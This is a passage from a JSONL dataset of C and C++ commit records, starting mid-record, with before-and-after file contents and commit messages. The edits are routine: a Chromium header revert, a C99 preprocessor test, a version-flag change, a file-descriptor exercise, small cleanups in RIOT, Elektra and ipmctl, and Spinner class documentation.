name\n","lang":"C","license":"lgpl-2.1","repos":"silent-snowman\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,mapfau\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,mapfau\/bluez,mapfau\/bluez,pkarasev3\/bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez"}
{"commit":"e3f1b502c12bfeb2338c43af542c0f36a7f39f13","old_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","new_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  scoped_ptr<Panel> panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  Panel* panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","subject":"Revert 88154 - Use scoped_ptr for Panel in PanelBrowserWindowGTK. Reason: PanelBrowserWindow dtor is now complex and cannot be inlined.","message":"Revert 88154 - Use scoped_ptr for Panel in PanelBrowserWindowGTK.\nReason: PanelBrowserWindow dtor is now complex and cannot be inlined.\n\nBUG=None\nTEST=Verified WindowOpenPanel test now hits Panel destructor.\n\nReview URL: http:\/\/codereview.chromium.org\/7120011\n\nTBR=jennb@chromium.org\nReview URL: http:\/\/codereview.chromium.org\/7003035\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@88159 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium"}
{"commit":"75ef1c75dd47a0b4054a767fd94f7c3cf68d2331","old_file":"tests\/099-c99-example.c","new_file":"tests\/099-c99-example.c","old_contents":"","new_contents":"#define  x      3\n#define  f(a)   f(x * (a))\n#undef   x\n#define  x      2\n#define  g      f\n#define  z      z[0]\n#define  h      g(~\n#define  m(a)   a(w)\n#define  w      0,1\n#define  t(a)   a\n#define  p()    int\n#define  q(x)   x\n#define  r(x,y) x ## y\nf(y+1) + f(f(z)) % t(t(g)(0) + t)(1);\ng(x +(3,4)-w) | h 5) & m\n       (f)^m(m);\np() i[q()] = { q(1), r(2,3), r(4,), r(,5), r(,)};\n","subject":"Add killer test case from the C99 specification.","message":"Add killer test case from the C99 specification.\n\nHappily, this passes now, (since many of the previously added test\ncases were extracted from this one).\n","lang":"C","license":"mit","repos":"jbarczak\/glsl-optimizer,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,KTXSoftware\/glsl2agal,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,KTXSoftware\/glsl2agal,mcanthony\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,benaadams\/glsl-optimizer,jbarczak\/glsl-optimizer,KTXSoftware\/glsl2agal,djreep81\/glsl-optimizer,dellis1972\/glsl-optimizer,dellis1972\/glsl-optimizer,metora\/MesaGLSLCompiler,bkaradzic\/glsl-optimizer,mcanthony\/glsl-optimizer,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,metora\/MesaGLSLCompiler,adobe\/glsl2agal,jbarczak\/glsl-optimizer,adobe\/glsl2agal,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,mcanthony\/glsl-optimizer,zeux\/glsl-optimizer,djreep81\/glsl-optimizer,tokyovigilante\/glsl-optimizer,dellis1972\/glsl-optimizer,adobe\/glsl2agal,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,tokyovigilante\/glsl-optimizer,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,benaadams\/glsl-optimizer,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,mcanthony\/glsl-optimizer,adobe\/glsl2agal,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,zz85\/glsl-optimizer,tokyovigilante\/glsl-optimizer,zz85\/glsl-optimizer,zz85\/glsl-optimizer,metora\/MesaGLSLCompiler,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,wolf96\/glsl-optimizer,mapbox\/glsl-optimizer,adobe\/glsl2agal"}
{"commit":"e3e10e5a788bd65aa65ee133f3740dfc1d91f1eb","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Set client release to false","message":"Set client release to false\n","lang":"C","license":"mit","repos":"Electronic-Gulden-Foundation\/egulden,Electronic-Gulden-Foundation\/egulden,Electronic-Gulden-Foundation\/egulden,Electronic-Gulden-Foundation\/egulden,Electronic-Gulden-Foundation\/egulden,Electronic-Gulden-Foundation\/egulden"}
{"commit":"be2319709b9c0c4aa1f3fac648946d318cccf5c9","old_file":"ch05\/ex6.c","new_file":"ch05\/ex6.c","old_contents":"","new_contents":"\/*\n  The content of `example2.txt` will be \"Gidday world\" because the file offset for\n  `fd3` will be at the beginning of the file. Only `fd1` and `fd2` share the same\n  file offset, that's why when writing \"HELLO,\" replaces \"Hello,\" but the next write\n  (with `fd3`) happens at beginning and then we are left with \"Gidday world\".\n *\/\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(__attribute__((unused)) int _argc, __attribute__((unused)) char **argv)\n{\n    int fd1, fd2, fd3;\n    const char *filename = \"example2.txt\";\n\n    fd1 = open(filename, O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);\n    fd2 = dup(fd1);\n    fd3 = open(filename, O_RDWR);\n\n    write(fd1, \"Hello,\", 6);\n    write(fd2, \" world\", 6);\n    lseek(fd2, 0, SEEK_SET);\n    write(fd1, \"HELLO,\", 6);\n    write(fd3, \"Gidday\", 6);\n\n    exit(EXIT_SUCCESS);\n}\n","subject":"Add sixth exercise from chapter 5.","message":"Add sixth exercise from chapter 5.\n","lang":"C","license":"mit","repos":"carlosgaldino\/lpi"}
{"commit":"b87325fe34c477f7786e791805bf692dbe79676b","old_file":"boards\/frdm-k22f\/board.c","new_file":"boards\/frdm-k22f\/board.c","old_contents":"\/*\n * Copyright (C) 2014 Freie Universität Berlin\n * Copyright (C) 2014 PHYTEC Messtechnik GmbH\n * Copyright (C) 2017 Eistec AB\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @ingroup     boards_frdm-k64f\n * @{\n *\n * @file\n * @brief       Board specific implementations for the FRDM-K22F\n *\n * @author      Joakim Nohlgård <joakim.nohlgard@eistec.se>\n *\n * @}\n *\/\n\n#include <stdint.h>\n#include \"board.h\"\n#include \"mcg.h\"\n#include \"periph\/gpio.h\"\n\nvoid board_init(void)\n{\n    \/* initialize the CPU core *\/\n    cpu_init();\n\n    \/* initialize and turn off the on-board RGB-LED *\/\n    gpio_init(LED0_PIN, GPIO_OUT);\n    gpio_init(LED1_PIN, GPIO_OUT);\n    gpio_init(LED2_PIN, GPIO_OUT);\n    gpio_set(LED0_PIN);\n    gpio_set(LED1_PIN);\n    gpio_set(LED2_PIN);\n}\n","new_contents":"\/*\n * Copyright (C) 2014 Freie Universität Berlin\n * Copyright (C) 2014 PHYTEC Messtechnik GmbH\n * Copyright (C) 2017 Eistec AB\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @ingroup     boards_frdm-k22f\n * @{\n *\n * @file\n * @brief       Board specific implementations for the FRDM-K22F\n *\n * @author      Joakim Nohlgård <joakim.nohlgard@eistec.se>\n *\n * @}\n *\/\n\n#include \"board.h\"\n#include \"periph\/gpio.h\"\n\nvoid board_init(void)\n{\n    \/* initialize the CPU core *\/\n    cpu_init();\n\n    \/* initialize and turn off the on-board RGB-LED *\/\n    gpio_init(LED0_PIN, GPIO_OUT);\n    gpio_set(LED0_PIN);\n    gpio_init(LED1_PIN, GPIO_OUT);\n    gpio_set(LED1_PIN);\n    gpio_init(LED2_PIN, GPIO_OUT);\n    gpio_set(LED2_PIN);\n}\n","subject":"Fix typos and remove unused includes","message":"frdm-k22f: Fix typos and remove unused includes\n","lang":"C","license":"lgpl-2.1","repos":"kbumsik\/RIOT,mfrey\/RIOT,A-Paul\/RIOT,OTAkeys\/RIOT,smlng\/RIOT,rfuentess\/RIOT,mtausig\/RIOT,jasonatran\/RIOT,jasonatran\/RIOT,rfuentess\/RIOT,miri64\/RIOT,authmillenon\/RIOT,neiljay\/RIOT,smlng\/RIOT,kaspar030\/RIOT,RIOT-OS\/RIOT,gebart\/RIOT,yogo1212\/RIOT,kaspar030\/RIOT,authmillenon\/RIOT,BytesGalore\/RIOT,kYc0o\/RIOT,x3ro\/RIOT,authmillenon\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,kbumsik\/RIOT,x3ro\/RIOT,lazytech-org\/RIOT,avmelnikoff\/RIOT,mfrey\/RIOT,miri64\/RIOT,gebart\/RIOT,mtausig\/RIOT,aeneby\/RIOT,OTAkeys\/RIOT,ant9000\/RIOT,rfuentess\/RIOT,yogo1212\/RIOT,biboc\/RIOT,josephnoir\/RIOT,BytesGalore\/RIOT,basilfx\/RIOT,yogo1212\/RIOT,ant9000\/RIOT,RIOT-OS\/RIOT,gebart\/RIOT,biboc\/RIOT,BytesGalore\/RIOT,OlegHahm\/RIOT,biboc\/RIOT,lazytech-org\/RIOT,smlng\/RIOT,basilfx\/RIOT,BytesGalore\/RIOT,neiljay\/RIOT,miri64\/RIOT,authmillenon\/RIOT,ant9000\/RIOT,josephnoir\/RIOT,basilfx\/RIOT,josephnoir\/RIOT,jasonatran\/RIOT,cladmi\/RIOT,yogo1212\/RIOT,toonst\/RIOT,kYc0o\/RIOT,lazytech-org\/RIOT,basilfx\/RIOT,aeneby\/RIOT,kaspar030\/RIOT,authmillenon\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,toonst\/RIOT,aeneby\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,biboc\/RIOT,OTAkeys\/RIOT,neiljay\/RIOT,lazytech-org\/RIOT,mfrey\/RIOT,smlng\/RIOT,jasonatran\/RIOT,kbumsik\/RIOT,josephnoir\/RIOT,ant9000\/RIOT,x3ro\/RIOT,miri64\/RIOT,rfuentess\/RIOT,A-Paul\/RIOT,gebart\/RIOT,cladmi\/RIOT,josephnoir\/RIOT,OlegHahm\/RIOT,OlegHahm\/RIOT,x3ro\/RIOT,cladmi\/RIOT,yogo1212\/RIOT,avmelnikoff\/RIOT,miri64\/RIOT,kbumsik\/RIOT,yogo1212\/RIOT,rfuentess\/RIOT,toonst\/RIOT,avmelnikoff\/RIOT,OTAkeys\/RIOT,neiljay\/RIOT,toonst\/RIOT,kYc0o\/RIOT,kaspar030\/RIOT,biboc\/RIOT,avmelnikoff\/RIOT,RIOT-OS\/RIOT,OlegHahm\/RIOT,neiljay\/RIOT,smlng\/RIOT,x3ro\/RIOT,ant9000\/RIOT,toonst\/RIOT,lazytech-org\/RIOT,kYc0o\/RIOT,avmelnikoff\/RIOT,BytesGalore\/RIOT,mtausig\/RIOT,gebart\/RIOT,mfrey\/RIOT,OlegHahm\/RIOT,mtausig\/RIOT,OTAkeys\/RIOT,mtausig\/RIOT,A-Paul\/RIOT,A-Paul\/RIOT,jasonatran\/RIOT,A-Paul\/RIOT,kYc0o\/RIOT,kbumsik\/RIOT,cladmi\/RIOT,cladmi\/RIOT,mfrey\/RIOT,kaspar030\/RIOT"}
{"commit":"417dac764140b928a2695c019b2afe51fb48d104","old_file":"options.c","new_file":"options.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include \"options.h\"\n\nstruct Options *Options_parse(int argc, char *argv[]) {\n  assert(argc > 1);\n\n  Options *opts = malloc(sizeof(Options));\n  assert(opts != NULL);\n\n  opts->outfile = NULL;\n  opts->errfile = NULL;\n  opts->target = NULL;\n  opts->child_args = NULL;\n\n  int i;\n  for (i = 1; i < argc; i++) {\n    switch((int)argv[i][0]) {\n      case '-':\n        switch((int)argv[i][1]) {\n          case 'o':\n            if (argv[i + 1][0] != '-') {\n              opts->outfile = strdup(argv[i + 1]);\n            }\n            break;\n          case 'e':\n            if (argv[i + 1][0] != '-') {\n              opts->errfile = strdup(argv[i + 1]);\n            }\n            break;\n          case '-':\n            if (argv[i + 1] != NULL) {\n              opts->target = &argv[i + 1][0];\n              opts->child_args = &argv[i + 1];\n            }\n            break;\n          default:\n            break;\n        }\n        break;\n      default:\n        break;\n    }\n  }\n  return opts;\n}\n\n","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include \"options.h\"\n\nstruct Options *Options_parse(int argc, char *argv[]) {\n  assert(argc > 1);\n\n  Options *opts = malloc(sizeof(Options));\n  assert(opts != NULL);\n\n  opts->outfile = NULL;\n  opts->errfile = NULL;\n  opts->target = NULL;\n  opts->child_args = NULL;\n\n  int i;\n  for (i = 1; i < argc; i++) {\n    switch((int)argv[i][0]) {\n      case '-':\n        switch((int)argv[i][1]) {\n          case 'o':\n            if (argv[i + 1][0] != '-') {\n              opts->outfile = strdup(argv[i + 1]);\n            }\n            break;\n          case 'e':\n            if (argv[i + 1][0] != '-') {\n              opts->errfile = strdup(argv[i + 1]);\n            }\n            break;\n          case '-':\n            if (argv[i + 1] != NULL) {\n              opts->target = strdup(argv[i + 1]);\n              opts->child_args = &argv[i + 1];\n            }\n            break;\n          default:\n            break;\n        }\n        break;\n      default:\n        break;\n    }\n  }\n  return opts;\n}\n\n","subject":"Replace hardref trick with strdup() for consistency.","message":"[minor] Replace hardref trick with strdup() for consistency.\n","lang":"C","license":"mit","repos":"AvianFlu\/aeternum"}
{"commit":"a4fbbb9d4b14a2c262a54251af06c08767c786ea","old_file":"src\/include\/kdbassert.h","new_file":"src\/include\/kdbassert.h","old_contents":"\/**\n * @file\n *\n * @brief Assertions macros.\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <kdbconfig.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\nvoid elektraAbort (const char * expression, const char * function, const char * file, const int line, const char * msg, ...)\n#ifdef __GNUC__\n\t__attribute__ ((format (printf, 5, 6)))\n#endif\n\n\/\/ For scan-build \/ clang analyzer to detect our assertions abort\n#ifdef __clang_analyzer__\n\t__attribute__ ((analyzer_noreturn))\n#endif\n\t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifndef STRINGIFY\n#define STRINGIFY(x) STRINGIFY2 (x)\n#define STRINGIFY2(x) #x\n#endif\n\n#ifdef ELEKTRA_BMC\n#undef NDEBUG\n#include <assert.h>\n#define ELEKTRA_ASSERT(EXPR, ...) assert (EXPR)\n#else\n#if DEBUG\n#define ELEKTRA_ASSERT(EXPR, ...) ((EXPR)) ? (void)(0) : elektraAbort (STRINGIFY (EXPR), __func__, __FILE__, __LINE__, __VA_ARGS__)\n#else\n#define ELEKTRA_ASSERT(EXPR, ...)\n#endif\n#endif\n","new_contents":"\/**\n * @file\n *\n * @brief Assertions macros.\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <kdbconfig.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\nvoid elektraAbort (const char * expression, const char * function, const char * file, const int line, const char * msg, ...)\n#ifdef __GNUC__\n\t__attribute__ ((format (printf, 5, 6))) __attribute__ ((__noreturn__))\n#else\n#ifdef __clang_analyzer__\n\t\/\/ For scan-build \/ clang analyzer to detect our assertions abort\n\t__attribute__ ((analyzer_noreturn))\n#endif\n#endif\n\t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#ifndef STRINGIFY\n#define STRINGIFY(x) STRINGIFY2 (x)\n#define STRINGIFY2(x) #x\n#endif\n\n#ifdef ELEKTRA_BMC\n#undef NDEBUG\n#include <assert.h>\n#define ELEKTRA_ASSERT(EXPR, ...) assert (EXPR)\n#else\n#if DEBUG\n#define ELEKTRA_ASSERT(EXPR, ...) ((EXPR)) ? (void)(0) : elektraAbort (STRINGIFY (EXPR), __func__, __FILE__, __LINE__, __VA_ARGS__)\n#else\n#define ELEKTRA_ASSERT(EXPR, ...)\n#endif\n#endif\n","subject":"Use more generic attribute if possible","message":"Assertions: Use more generic attribute if possible\n\nWe now specify the attribute `__noreturn__` for the function\n`elektraAbort` whenever it is available.\n","lang":"C","license":"bsd-3-clause","repos":"BernhardDenner\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,petermax2\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,e1528532\/libelektra,petermax2\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,mpranj\/libelektra,e1528532\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra"}
{"commit":"42e0da4a0ce867dbc186665754418f5bce98301f","old_file":"DcpmPkg\/cli\/NvmDimmCli.h","new_file":"DcpmPkg\/cli\/NvmDimmCli.h","old_contents":"\/*\n * Copyright (c) 2018, Intel Corporation.\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <CommandParser.h>\n\n#if defined(__LINUX__) || defined(__ESX__)\n#define EXE_NAME               L\"ipmctl\"\n#elif defined(_MSC_VER)\n#define EXE_NAME               L\"ipmctl.exe\"\n#else\n#define EXE_NAME               L\"ipmctl.efi\"\n#endif\n#define APP_DESCRIPTION        L\"Command Line Interface\"\n#define DRIVER_API_DESCRIPTION L\"Driver API\"\n\nextern        EFI_HANDLE                        gNvmDimmCliHiiHandle;\n\n\/\/\n\/\/ This is the generated String package data for all .UNI files.\n\/\/ This data array is ready to be used as input of HiiAddPackages() to\n\/\/ create a packagelist (which contains Form packages, String packages, etc).\n\/\/\nextern unsigned char ipmctlStrings[];\nextern int g_basic_commands;\n\/**\n  Register commands on the commands list\n\n  @retval a return code from called functions\n**\/\nEFI_STATUS\nRegisterCommands(\n  );\n\n\/**\nRegister basic commands on the commands list for non-root users\n\n@retval a return code from called functions\n**\/\nEFI_STATUS\nRegisterNonAdminUserCommands(\n);\n\n\/**\n  Print the CLI application help\n**\/\nEFI_STATUS showHelp(struct Command *pCmd);\n","new_contents":"\/*\n * Copyright (c) 2018, Intel Corporation.\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <CommandParser.h>\n\n#if defined(__LINUX__) || defined(__ESX__)\n#define EXE_NAME               L\"ipmctl\"\n#elif defined(_MSC_VER) && defined(OS_BUILD)\n#define EXE_NAME               L\"ipmctl.exe\"\n#else\n#define EXE_NAME               L\"ipmctl.efi\"\n#endif\n#define APP_DESCRIPTION        L\"Command Line Interface\"\n#define DRIVER_API_DESCRIPTION L\"Driver API\"\n\nextern        EFI_HANDLE                        gNvmDimmCliHiiHandle;\n\n\/\/\n\/\/ This is the generated String package data for all .UNI files.\n\/\/ This data array is ready to be used as input of HiiAddPackages() to\n\/\/ create a packagelist (which contains Form packages, String packages, etc).\n\/\/\nextern unsigned char ipmctlStrings[];\nextern int g_basic_commands;\n\/**\n  Register commands on the commands list\n\n  @retval a return code from called functions\n**\/\nEFI_STATUS\nRegisterCommands(\n  );\n\n\/**\nRegister basic commands on the commands list for non-root users\n\n@retval a return code from called functions\n**\/\nEFI_STATUS\nRegisterNonAdminUserCommands(\n);\n\n\/**\n  Print the CLI application help\n**\/\nEFI_STATUS showHelp(struct Command *pCmd);\n","subject":"Fix incorrect help message for UEFI","message":"Fix incorrect help message for UEFI\n\nSigned-off-by: Shilpa Nanja <a1983ef2f4a2c6b4f6ff7c9741e30dce4eb007d5@intel.com>\n","lang":"C","license":"bsd-3-clause","repos":"intel\/ipmctl,intel\/ipmctl,intel\/ipmctl,intel\/ipmctl"}
{"commit":"82c97cd279c71bdf38776b190201beda2cc37726","old_file":"Settings\/Controls\/Spinner.h","new_file":"Settings\/Controls\/Spinner.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include <CommCtrl.h>\n\n\/\/\/ <summary>\n\/\/\/ Manages a 'spin control': a numeric edit box with a up\/down 'buddy' to\n\/\/\/ increment or decrement the current value of the box.\n\/\/\/ <\/summary>\nclass Spinner : public Control {\npublic:\n    Spinner() {\n\n    }\n\n    Spinner(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual void Enable();\n    virtual void Disable();\n\n    void Buddy(int buddyId);\n\n    \/\/\/ <summary>Sets the range (min, max) for the spin control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the spinner.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the spinner.<\/param>\n    void Range(int lo, int hi);\n\n    std::wstring Text();\n    bool Text(std::wstring text);\n    bool Text(int value);\n\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\npublic:\n    \/* Event Handlers *\/\n    std::function<bool(NMUPDOWN *)> OnSpin;\n\nprivate:\n    int _buddyId;\n    HWND _buddyWnd;\n\n};\n","new_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include <CommCtrl.h>\n\n\/\/\/ <summary>\n\/\/\/ Manages a 'spin control': a numeric edit box with a up\/down 'buddy' to\n\/\/\/ increment or decrement the current value of the box.\n\/\/\/ <\/summary>\nclass Spinner : public Control {\npublic:\n    Spinner() {\n\n    }\n\n    Spinner(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual void Enable();\n    virtual void Disable();\n\n    void Buddy(int buddyId);\n\n    \/\/\/ <summary>Sets the range (min, max) for the spin control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the spinner.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the spinner.<\/param>\n    void Range(int lo, int hi);\n\n    \/\/\/ <summary>\n    \/\/\/ Unlike the standard Control.Text() method, this uses the spinner buddy\n    \/\/\/ to retrieve the text.\n    \/\/\/ <\/summary>\n    std::wstring Text();\n\n    \/\/\/ <summary>Sets the buddy text.<\/summary>\n    bool Text(std::wstring text);\n\n    \/\/\/ <summary>Sets the buddy text.<\/summary>\n    bool Text(int value);\n\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\npublic:\n    \/* Event Handlers *\/\n    std::function<bool(NMUPDOWN *)> OnSpin;\n\nprivate:\n    int _buddyId;\n    HWND _buddyWnd;\n\n};\n","subject":"Add docs for overridden methods","message":"Add docs for overridden methods\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX"}
